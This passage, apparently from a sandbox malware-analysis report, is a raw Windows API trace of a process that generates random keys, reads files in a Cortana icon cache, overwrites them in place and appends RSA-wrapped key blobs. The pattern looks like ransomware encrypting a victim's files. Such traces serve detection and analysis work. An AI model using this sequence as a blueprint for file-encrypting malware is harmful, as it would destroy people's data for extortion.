[0180.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.533] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.533] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.533] CloseHandle (hObject=0x1af4) returned 1 [0180.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0180.534] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{BCEB7AFA-8A96-4EE0-A2DF-1A462F84C0B8}", dwFileAttributes=0x80) returned 1 [0180.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbad8 [0180.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.535] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{BCEB7AFA-8A96-4EE0-A2DF-1A462F84C0B8}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{bceb7afa-8a96-4ee0-a2df-1a462f84c0b8}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.535] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.535] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.537] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.537] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.537] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.537] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.537] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.538] CloseHandle (hObject=0x1af4) returned 1 [0180.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.539] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B6A7DF63-99C2-4534-89CF-C0AFC23B90AD}", dwFileAttributes=0x80) returned 1 [0180.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbad8 [0180.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.539] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B6A7DF63-99C2-4534-89CF-C0AFC23B90AD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{b6a7df63-99c2-4534-89cf-c0afc23b90ad}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.540] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.540] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.541] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.541] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.541] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.541] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.541] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.542] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.542] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.542] CloseHandle (hObject=0x1af4) returned 1 [0180.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.546] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B52F04DA-8153-47B9-A93E-AEAA5CA596FE}", dwFileAttributes=0x80) returned 1 [0180.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db070 [0180.546] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.546] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B52F04DA-8153-47B9-A93E-AEAA5CA596FE}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{b52f04da-8153-47b9-a93e-aeaa5ca596fe}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.547] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.547] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.548] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.548] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.548] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.549] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.549] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.549] CloseHandle (hObject=0x1af4) returned 1 [0180.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.551] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AEA45D7D-8825-46DB-820C-29097A667BA7}", dwFileAttributes=0x80) returned 1 [0180.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30db3e8 [0180.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.552] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AEA45D7D-8825-46DB-820C-29097A667BA7}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{aea45d7d-8825-46db-820c-29097a667ba7}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.552] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.552] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.554] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.554] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.554] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.554] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.554] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.555] CloseHandle (hObject=0x1af4) returned 1 [0180.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.556] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.556] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC7B9DE5-2BB7-4D1F-8D6B-195490D0C9EA}", dwFileAttributes=0x80) returned 1 [0180.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc8b8 [0180.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.557] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC7B9DE5-2BB7-4D1F-8D6B-195490D0C9EA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ac7b9de5-2bb7-4d1f-8d6b-195490d0c9ea}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.558] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.558] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.559] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.559] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.559] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.559] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.559] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.559] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.560] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.560] CloseHandle (hObject=0x1af4) returned 1 [0180.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0180.561] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC0F2DEC-6E17-4771-9780-2942696DCB74}", dwFileAttributes=0x80) returned 1 [0180.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc540 [0180.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.561] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC0F2DEC-6E17-4771-9780-2942696DCB74}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ac0f2dec-6e17-4771-9780-2942696dcb74}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.562] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.562] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.563] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.563] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.563] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.564] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.564] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.564] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.564] CloseHandle (hObject=0x1af4) returned 1 [0180.565] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.565] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0180.565] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A8C02D67-E326-46F5-BCFE-ED755438157B}", dwFileAttributes=0x80) returned 1 [0180.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dcd58 [0180.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.566] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A8C02D67-E326-46F5-BCFE-ED755438157B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a8c02d67-e326-46f5-bcfe-ed755438157b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.567] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.567] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.568] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.568] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.568] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.569] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.569] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.569] CloseHandle (hObject=0x1af4) returned 1 [0180.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.570] 